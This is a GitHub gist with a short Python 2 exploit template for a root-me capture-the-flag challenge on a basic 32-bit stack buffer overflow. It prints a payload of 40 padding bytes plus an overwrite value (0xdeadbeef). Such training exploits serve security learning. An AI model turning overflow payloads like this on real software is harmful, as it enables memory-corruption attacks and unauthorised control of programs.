Skip to content

Instantly share code, notes, and snippets.

@Creased
Created December 9, 2016 15:06
Show Gist options
  • Save Creased/16691af067fdff9c2a62727b3d33e337 to your computer and use it in GitHub Desktop.
Save Creased/16691af067fdff9c2a62727b3d33e337 to your computer and use it in GitHub Desktop.
Buffer overflow exploit template
#!/usr/bin/env python
# -*- coding:Utf-8 -*-
#==========================================================#
# [+] Title: Exploitation code for root-me challenge #
# ELF32 - Stack buffer overflow basic 1 #
# [+] Author: Baptiste M. (Creased) #
# [+] Website: bmoine.fr #
# [+] Email: contact@bmoine.fr #
# [+] Twitter: @Creased_ #
#==========================================================#
import struct
def p(x):
return struct.pack('<L', x)
def x(s):
s = s.encode("hex")
s = [s[i:i + 2] for i in range(0, len(s), 2)]
x = ""
for c in s:
x += str('\\') + 'x' + str(c)
return x
payload = 'A' * 40 # Padding to fill buffer
payload += p(0xdeadbeef) # Payload
print payload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment